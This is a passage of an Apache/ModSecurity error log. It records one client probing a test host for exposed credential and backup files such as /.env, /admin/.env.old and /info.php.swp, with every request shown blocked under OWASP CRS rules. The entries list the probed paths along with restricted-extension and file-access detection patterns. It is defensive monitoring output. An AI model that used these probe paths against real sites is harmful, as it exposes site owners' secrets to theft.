&quot;aSxT0ER0pJY8_qkvKEEfcQAAAAM&quot;]
[Sun Nov 30 15:25:20.313736 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcQAAAAM&quot;]
[Sun Nov 30 15:25:20.313960 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcQAAAAM&quot;]
[Sun Nov 30 15:25:20.314188 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcQAAAAM&quot;]
[Sun Nov 30 15:25:20.539639 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcgAAAAM&quot;]
[Sun Nov 30 15:25:20.539818 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcgAAAAM&quot;]
[Sun Nov 30 15:25:20.540025 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcgAAAAM&quot;]
[Sun Nov 30 15:25:20.540222 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcgAAAAM&quot;]
[Sun Nov 30 15:25:20.764293 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcwAAAAM&quot;]
[Sun Nov 30 15:25:20.764797 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcwAAAAM&quot;]
[Sun Nov 30 15:25:20.765107 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aSxT0ER0pJY8_qkvKEEfcwAAAAM&quot;]
[Sun Nov 30 15:25:21.216541 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdQAAAAM&quot;]
[Sun Nov 30 15:25:21.216776 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdQAAAAM&quot;]
[Sun Nov 30 15:25:21.216987 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdQAAAAM&quot;]
[Sun Nov 30 15:25:21.666230 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdwAAAAM&quot;]
[Sun Nov 30 15:25:21.666627 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdwAAAAM&quot;]
[Sun Nov 30 15:25:21.666840 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_error.log&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfdwAAAAM&quot;]
[Sun Nov 30 15:25:21.890760 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfeAAAAAM&quot;]
[Sun Nov 30 15:25:21.890985 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfeAAAAAM&quot;]
[Sun Nov 30 15:25:21.891194 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aSxT0UR0pJY8_qkvKEEfeAAAAAM&quot;]
[Sun Nov 30 15:25:22.115603 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.remote&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEfeQAAAAM&quot;]
[Sun Nov 30 15:25:22.115823 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEfeQAAAAM&quot;]
[Sun Nov 30 15:25:22.116066 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEfeQAAAAM&quot;]
[Sun Nov 30 15:25:22.791221 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEffAAAAAM&quot;]
[Sun Nov 30 15:25:22.792367 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEffAAAAAM&quot;]
[Sun Nov 30 15:25:22.792567 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors.log&quot;] [unique_id &quot;aSxT0kR0pJY8_qkvKEEffAAAAAM&quot;]
[Sun Nov 30 15:25:23.023009 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffQAAAAM&quot;]
[Sun Nov 30 15:25:23.023177 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffQAAAAM&quot;]
[Sun Nov 30 15:25:23.023394 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffQAAAAM&quot;]
[Sun Nov 30 15:25:23.023594 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffQAAAAM&quot;]
[Sun Nov 30 15:25:23.472268 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffwAAAAM&quot;]
